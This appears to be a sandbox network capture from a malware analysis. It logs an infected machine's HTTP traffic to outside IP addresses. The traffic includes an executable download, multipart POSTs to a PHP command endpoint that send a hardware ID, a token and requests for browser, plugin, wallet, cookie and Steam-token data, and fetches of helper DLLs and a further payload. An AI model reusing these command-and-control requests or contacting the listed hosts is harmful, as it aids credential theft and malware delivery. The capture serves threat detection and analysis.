Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 07 Dec 2024 14:08:09 GMTContent-Type: application/octet-streamContent-Length: 1840640Last-Modified: Sat, 07 Dec 2024 13:53:52 GMTConnection: keep-aliveETag: "67545370-1c1600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 62 af 50 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 c6 03 00 00 ac 00 00 00 00 00 00 00 f0 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 49 00 00 04 00 00 3d 64 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 30 05 00 70 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 32 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 20 05 00 00 04 00 00 00 42 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 46 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 29 00 00 40 05 00 00 02 00 00 00 48 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 68 68 68 61 70 69 64 00 b0 19 00 00 30 2f 00 00 a6 19 00 00 4a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 69 6f 6c 67 72 64 7a 00 10 00 00 00 e0 48 00 00 04 00 00 00 f0 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 48 00 00 22 00 00 00 f4 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIEGHJJDGHCAKEBGIJKHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 36 31 45 32 35 42 39 46 34 41 32 36 39 39 32 39 33 31 33 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="hwid"B61E25B9F4A2699293130------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="build"drum------HIIEGHJJDGHCAKEBGIJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDHJJJECFIECBGDGCAAHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 31 31 66 39 32 31 39 66 37 35 31 36 65 62 31 30 37 63 61 61 39 36 30 66 39 62 38 63 33 32 39 33 33 35 63 66 66 30 37 65 61 34 63 36 30 61 62 35 39 34 37 37 36 63 38 33 65 61 61 39 62 64 30 36 65 63 63 37 66 38 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 2d 2d 0d 0a Data Ascii: ------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="token"e211f9219f7516eb107caa960f9b8c329335cff07ea4c60ab594776c83eaa9bd06ecc7f8------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="message"browsers------DHDHJJJECFIECBGDGCAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAFHIDGIJKJKECBGDBGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 31 31 66 39 32 31 39 66 37 35 31 36 65 62 31 30 37 63 61 61 39 36 30 66 39 62 38 63 33 32 39 33 33 35 63 66 66 30 37 65 61 34 63 36 30 61 62 35 39 34 37 37 36 63 38 33 65 61 61 39 62 64 30 36 65 63 63 37 66 38 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 2d 2d 0d 0a Data Ascii: ------HDAFHIDGIJKJKECBGDBGContent-Disposition: form-data; name="token"e211f9219f7516eb107caa960f9b8c329335cff07ea4c60ab594776c83eaa9bd06ecc7f8------HDAFHIDGIJKJKECBGDBGContent-Disposition: form-data; name="message"plugins------HDAFHIDGIJKJKECBGDBG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIJECFIECBFIDGDAKFHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 49 4a 45 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 31 31 66 39 32 31 39 66 37 35 31 36 65 62 31 30 37 63 61 61 39 36 30 66 39 62 38 63 33 32 39 33 33 35 63 66 66 30 37 65 61 34 63 36 30 61 62 35 39 34 37 37 36 63 38 33 65 61 61 39 62 64 30 36 65 63 63 37 66 38 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 4a 45 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 4a 45 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 2d 2d 0d 0a Data Ascii: ------CGIJECFIECBFIDGDAKFHContent-Disposition: form-data; name="token"e211f9219f7516eb107caa960f9b8c329335cff07ea4c60ab594776c83eaa9bd06ecc7f8------CGIJECFIECBFIDGDAKFHContent-Disposition: form-data; name="message"fplugins------CGIJECFIECBFIDGDAKFH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJEBGDAFHJEBGDGIJDHHost: 185.215.113.206Content-Length: 5923Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDHCGHDHIDHCBGCBGCAEHost: 185.215.113.206Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 31 31 66 39 32 31 39 66 37 35 31 36 65 62 31 30 37 63 61 61 39 36 30 66 39 62 38 63 33 32 39 33 33 35 63 66 66 30 37 65 61 34 63 36 30 61 62 35 39 34 37 37 36 63 38 33 65 61 61 39 62 64 30 36 65 63 63 37 66 38 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 2d 2d 0d 0a Data Ascii: ------HDHCGHDHIDHCBGCBGCAEContent-Disposition: form-data; name="token"e211f9219f7516eb107caa960f9b8c329335cff07ea4c60ab594776c83eaa9bd06ecc7f8------HDHCGHDHIDHCBGCBGCAEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------HDHCGHDHIDHCBGCBGCAEContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HDHCGHDHIDHCBGCBGCAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIDAAFBGDBKJJJKFIIIJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 31 31 66 39 32 31 39 66 37 35 31 36 65 62 31 30 37 63 61 61 39 36 30 66 39 62 38 63 33 32 39 33 33 35 63 66 66 30 37 65 61 34 63 36 30 61 62 35 39 34 37 37 36 63 38 33 65 61 61 39 62 64 30 36 65 63 63 37 66 38 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 2d 2d 0d 0a Data Ascii: ------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="token"e211f9219f7516eb107caa960f9b8c329335cff07ea4c60ab594776c83eaa9bd06ecc7f8------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="file"------IIDAAFBGDBKJJJKFIIIJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJJJDHDGDAAKECAKJDAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 31 31 66 39 32 31 39 66 37 35 31 36 65 62 31 30 37 63 61 61 39 36 30 66 39 62 38 63 33 32 39 33 33 35 63 66 66 30 37 65 61 34 63 36 30 61 62 35 39 34 37 37 36 63 38 33 65 61 61 39 62 64 30 36 65 63 63 37 66 38 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 2d 2d 0d 0a Data Ascii: ------BKJJJDHDGDAAKECAKJDAContent-Disposition: form-data; name="token"e211f9219f7516eb107caa960f9b8c329335cff07ea4c60ab594776c83eaa9bd06ecc7f8------BKJJJDHDGDAAKECAKJDAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BKJJJDHDGDAAKECAKJDAContent-Disposition: form-data; name="file"------BKJJJDHDGDAAKECAKJDA--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDAAEHDHIIJKECBKEBAHost: 185.215.113.206Content-Length: 1003Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKKEGIDBGHIDGDHDBFHHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 31 31 66 39 32 31 39 66 37 35 31 36 65 62 31 30 37 63 61 61 39 36 30 66 39 62 38 63 33 32 39 33 33 35 63 66 66 30 37 65 61 34 63 36 30 61 62 35 39 34 37 37 36 63 38 33 65 61 61 39 62 64 30 36 65 63 63 37 66 38 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 48 2d 2d 0d 0a Data Ascii: ------BKKKEGIDBGHIDGDHDBFHContent-Disposition: form-data; name="token"e211f9219f7516eb107caa960f9b8c329335cff07ea4c60ab594776c83eaa9bd06ecc7f8------BKKKEGIDBGHIDGDHDBFHContent-Disposition: form-data; name="message"wallets------BKKKEGIDBGHIDGDHDBFH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKEBFBAKKFCBGDHDGHDHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 31 31 66 39 32 31 39 66 37 35 31 36 65 62 31 30 37 63 61 61 39 36 30 66 39 62 38 63 33 32 39 33 33 35 63 66 66 30 37 65 61 34 63 36 30 61 62 35 39 34 37 37 36 63 38 33 65 61 61 39 62 64 30 36 65 63 63 37 66 38 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 2d 2d 0d 0a Data Ascii: ------BAKEBFBAKKFCBGDHDGHDContent-Disposition: form-data; name="token"e211f9219f7516eb107caa960f9b8c329335cff07ea4c60ab594776c83eaa9bd06ecc7f8------BAKEBFBAKKFCBGDHDGHDContent-Disposition: form-data; name="message"files------BAKEBFBAKKFCBGDHDGHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECFIECBGDGCAAAEHIEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 31 31 66 39 32 31 39 66 37 35 31 36 65 62 31 30 37 63 61 61 39 36 30 66 39 62 38 63 33 32 39 33 33 35 63 66 66 30 37 65 61 34 63 36 30 61 62 35 39 34 37 37 36 63 38 33 65 61 61 39 62 64 30 36 65 63 63 37 66 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 2d 2d 0d 0a Data Ascii: ------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="token"e211f9219f7516eb107caa960f9b8c329335cff07ea4c60ab594776c83eaa9bd06ecc7f8------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="file"------JJECFIECBGDGCAAAEHIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBFBFCBFBKECAAKJKFBHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 31 31 66 39 32 31 39 66 37 35 31 36 65 62 31 30 37 63 61 61 39 36 30 66 39 62 38 63 33 32 39 33 33 35 63 66 66 30 37 65 61 34 63 36 30 61 62 35 39 34 37 37 36 63 38 33 65 61 61 39 62 64 30 36 65 63 63 37 66 38 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------GDBFBFCBFBKECAAKJKFBContent-Disposition: form-data; name="token"e211f9219f7516eb107caa960f9b8c329335cff07ea4c60ab594776c83eaa9bd06ecc7f8------GDBFBFCBFBKECAAKJKFBContent-Disposition: form-data; name="message"ybncbhylepme------GDBFBFCBFBKECAAKJKFB--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCAECGIEBKJKEBGDHDAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 31 31 66 39 32 31 39 66 37 35 31 36 65 62 31 30 37 63 61 61 39 36 30 66 39 62 38 63 33 32 39 33 33 35 63 66 66 30 37 65 61 34 63 36 30 61 62 35 39 34 37 37 36 63 38 33 65 61 61 39 62 64 30 36 65 63 63 37 66 38 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 2d 2d 0d 0a Data Ascii: ------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="token"e211f9219f7516eb107caa960f9b8c329335cff07ea4c60ab594776c83eaa9bd06ecc7f8------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DHCAECGIEBKJKEBGDHDA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
